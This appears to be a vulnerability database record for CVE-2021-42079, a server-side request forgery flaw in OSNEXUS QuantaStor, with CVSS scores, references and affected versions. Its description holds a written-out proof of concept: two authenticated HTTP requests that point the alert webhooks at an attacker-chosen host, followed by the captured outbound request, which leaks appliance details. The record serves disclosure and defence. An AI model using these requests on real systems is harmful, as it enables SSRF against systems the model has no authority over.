FKIE_CVE-2021-42079

Vulnerability from fkie_nvd - Published: 2023-07-10 16:15 - Updated: 2026-06-17 04:09
Severity
6.2 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N
4.9 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Summary
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####
References
csirt@divd.nlhttps://cisrt.divd.nl/DIVD-2021-00020/
csirt@divd.nlhttps://csirt.divd.nl/CVE-2021-42079Third Party Advisory
csirt@divd.nlhttps://www.osnexus.com/products/software-defined-storageProduct
csirt@divd.nlhttps://www.wbsec.nl/osnexusThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://csirt.divd.nl/CVE-2021-42079Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.divd.nl/DIVD-2021-00020
af854a3a-2127-422b-91ae-364da2661108https://www.osnexus.com/products/software-defined-storageProduct
af854a3a-2127-422b-91ae-364da2661108https://www.wbsec.nl/osnexusThird Party Advisory
Impacted products
Vendor Product Version
osnexus quantastor *
To clipboard 

{
  "affected": [
    {
      "affectedData": [
        {
          "collectionURL": "https://www.osnexus.com/downloads",
          "defaultStatus": "unknown",
          "platforms": [
            "Windows",
            "Linux"
          ],
          "product": "QuantaStor",
          "vendor": "OSNEXUS",
          "versions": [
            {
              "lessThan": "6.0.0.355",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "csirt@divd.nl"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "5E101217-36C7-4C28-8C61-7744481D2D0E",
              "versionEndExcluding": "6.0.0.355",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a\u0026smtpServerIpAddress=BURPCOLLABHOST\u0026smtpServerPort=25\u0026smtpUsername=a\u0026smtpPassword=1\u0026smtpAuthType=1\u0026customerSupportEmailAddress=1\u0026poolFreeSpaceWarningThreshold=1\u0026poolFreeSpaceAlertThreshold=1\u0026poolFreeSpaceCriticalAlertThreshold=1\u0026pagerDutyServiceKey=1\u0026slackWebhookUrl=http://\u003ctarget\u003e\u0026enableAlertTypes\u0026enableAlertTypes=1\u0026disableAlertTypes=1\u0026pauseAlertTypes=1\u0026mattermostWebhookUrl=http://\u003cTARGET\u003e\nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test\u0026message=test\u0026severity=1 \nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by \u003cTARGET\u003e looks like this:\n{\n\u2003\n### Python FLASK stuff ####\n\n\u2003\u0027endpoint\u0027: \u0027index\u0027, \n\u2003\n\u0027method\u0027: \u0027POST\u0027, \n\u2003\n\u0027cookies\u0027: ImmutableMultiDict([]), \n\u2003\n### END Python FLASK stuff ####\n\n\u2003\n\u0027data\u0027: b\u0027{ \n\u2003\u2003\"attachments\": [ \n\u2003\u2003\u2003{\n\n\u2003\u2003\u2003\u2003\"fallback\": \"[122] test / test.\",\n\n\u2003\u2003\u2003\u2003\"color\": \"#aa2222\",\n\n\u2003\u2003\u2003\u2003\"title\": \"[122] test\",\n\n\u2003\u2003\u2003\u2003\"text\": \"test\",\n\n\u2003\u2003\u2003\u2003\"fields\": [ \u00a0 \n\u2003\u2003\u2003\u2003\u2003{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"Alert Severity\",\n     \u00a0 \u00a0\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"CRITICAL\",\n     \u00a0 \u00a0\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": false \u00a0\n\u2003\u2003\u2003\u2003\u2003}, \u00a0{ \u00a0 \n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"Appliance\", \u00a0 \u00a0 \n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"quantastor (https://\u003cHOSTNAME\u003e)\",\n  \u00a0 \u00a0 \n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u00a0\n\n\u2003\u2003\u2003\u2003\u2003}, \u00a0{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"System / Driver / Kernel Ver\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": false \u00a0\n\n\u2003\u2003\u2003\u2003\u2003}, \u00a0{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"System Startup\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"Fri Aug \u00a06 16-02-55 2021\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u00a0\n\n\u2003\u2003\u2003\u2003\u2003     }, \u00a0{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"SSID\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u00a0\n\n\u2003\u2003\u2003\u2003\u2003},\n\u2003\u2003\u2003\u2003],\n\n\u2003\u2003\u2003\u2003\"footer\": \"QuantaStor Call-home Alert\",\n\n\u2003\u2003\u2003\u2003\"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n\u2003\u2003\u2003\u2003\"ts\": 1628461774\n\u2003\u2003\u2003}\n\u2003\u2003], \n\u2003\u2003\"mrkdwn\":true \n\u2003}\u0027, \n\u2003#### FLASK REQUEST STUFF #####\n\n\u2003\u0027headers\u0027: {\n\n\u2003\u2003\u0027Host\u0027: \u0027\u003credacted\u003e\u0027, \n\u2003\u2003\u0027User-Agent\u0027: \u0027curl/7.58.0\u0027, \n\u2003\u2003\u0027Accept\u0027: \u0027*/*\u0027, \n\u2003\u2003\u0027Content-Type\u0027: \u0027application/json\u0027, \n\u2003\u2003\u0027Content-Length\u0027: \u0027790\u0027\n\n\u2003}, \n\u2003\u0027args\u0027: ImmutableMultiDict([]), \n\u2003\u0027form\u0027: ImmutableMultiDict([]), \n\u2003\u0027remote_addr\u0027: \u0027217.103.63.173\u0027, \n\u2003\u0027path\u0027: \u0027/payload/58\u0027, \n\u2003\u0027whois_ip\u0027: \u0027TNF-AS, NL\u0027\n}\n\n#### END FLASK REQUEST STUFF #####"
    }
  ],
  "id": "CVE-2021-42079",
  "lastModified": "2026-06-17T04:09:16.550",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.2,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.7,
        "impactScore": 4.0,
        "source": "csirt@divd.nl",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2021-42079",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2024-11-04T20:06:08.530050Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2023-07-10T16:15:47.467",
  "references": [
    {
      "source": "csirt@divd.nl",
      "url": "https://cisrt.divd.nl/DIVD-2021-00020/"
    },
    {
      "source": "csirt@divd.nl",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://csirt.divd.nl/CVE-2021-42079"
    },
    {
      "source": "csirt@divd.nl",
      "tags": [
        "Product"
      ],
      "url": "https://www.osnexus.com/products/software-defined-storage"
    },
    {
      "source": "csirt@divd.nl",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.wbsec.nl/osnexus"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://csirt.divd.nl/CVE-2021-42079"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "https://www.divd.nl/DIVD-2021-00020"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Product"
      ],
      "url": "https://www.osnexus.com/products/software-defined-storage"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.wbsec.nl/osnexus"
    }
  ],
  "sourceIdentifier": "csirt@divd.nl",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "csirt@divd.nl",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.